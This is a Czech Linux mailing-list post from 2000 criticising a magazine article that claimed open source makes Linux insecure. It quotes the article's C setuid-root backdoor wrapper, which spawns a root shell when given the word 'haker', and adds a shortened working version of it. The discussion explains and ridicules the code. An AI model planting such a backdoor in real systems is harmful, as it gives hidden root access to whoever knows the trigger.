Bezpecnost Linuxu

Ondrej Sury ondrej na globe.cz
Pondělí Květen 29 16:52:12 CEST 2000


Libor Chocholaty wrote:
> 
> Ondrej Sury wrote:
> 
> > uhlar na fantomas.sk wrote:
> > >
> > > Jan Kasprzak <kas na informatics.muni.cz> wrote:
> > > ->      Pan Janda dnes zveoejnil na Neviditelném Psu další elánek,
> > > -> který má dokázat, jak je Linux nebezpeený. Odvozuje to z toho,
> > > -> 3/4e k Linuxu jsou dostupné zdrojové texty. Autor ukazuje, jak si vytvooí
> > > -> pomocí krátkého wrapperu v jazyce C zadní vrátka (backdoor) do systému,
> > > -> je-li superu3/4ivatelem.
> > >
> > > Kazdy kto sa len trosku vyzna v C pri pohlade na ten zdrojak asi odpadne...
> > >
> > > /* ------------start root.c------------- */
> > >
> > > main(argc, argv)
> > >         int argc;
> > >         char **argv;
> > > {
> > > char seteuid[10];
> > > char showmount[10];
> > >
> > >         seteuid[0]='h';
> > >         seteuid[1]='a';
> > >         seteuid[2]='k';
> > >         seteuid[3]='e';
> > >         seteuid[4]='r';
> > >         seteuid[5]='%%%%%';
> > >         showmount[0]='/';
> > >         showmount[1]='b';
> > >         showmount[2]='i';
> > >         showmount[3]='n';
> > >         showmount[4]='/';
> > >         showmount[5]='b';
> > >         showmount[6]='a';
> > >         showmount[7]='s';
> > >         showmount[8]='h';
> > >         showmount[9]='%%%%%';
> > >         if (argc>1) {
> > >            if (!strcmp(argv[1],seteuid)) {
> > >                 setuid(0);
> > >                 setgid(0);
> > >                 execl(showmount,"-i",0);
> > >            }
> > >         }
> > > }
> > >
> > > /* ---------konec root.c----------- */
> >
> > No ja si z myslim, ze schvalne pise blaboly, protoze se mi zda, ze
> > tomu tak nejak rozumi.  (Teda pokud tenhle zdrojak neni vyhrabany
> > z nejake konference, o cemz pochybuji, protoze tohle se neda
> > napsat neumyslne.)
> >
> 
> A co to ma delat?

Tenhle programek (kdyby v nem nebyly chyby) nedela nic jineho nez
ze spusti bash.  A pokud ma nastaveny setuid bit a vlastnikem je
root, tak jej pusti s rootovskymi pravy.  Zkracena verze vypada takto:

main(int argc, char **argv) {
	if (argc>1 && !strcmp(argv[1],"haker")) {
		setuid(0); setgid(0);
		execl("/bin/sh", "-i", 0);
	}
}

A tudiz si myslim, ze program uvedeny na NP musi byt bud vyplodem
uplneho (s prominutim) pitomce anebo (coz je nanejvys pravdepodobne)
provokatera.

-- 
Ondrej Sury <ondrej na sury.cz> Globe Internet s.r.o. http://globe.cz/
Tel: +420235365000 Fax: +420235365009  Planickova 1, 162 00 Praha 6
Mob: +420602667702 ICQ: 24944126      Mapa: http://globe.namape.cz/
NAJDI.TO http://najdi.to/                 PRESS.CZ http://press.cz/


Další informace o konferenci Linux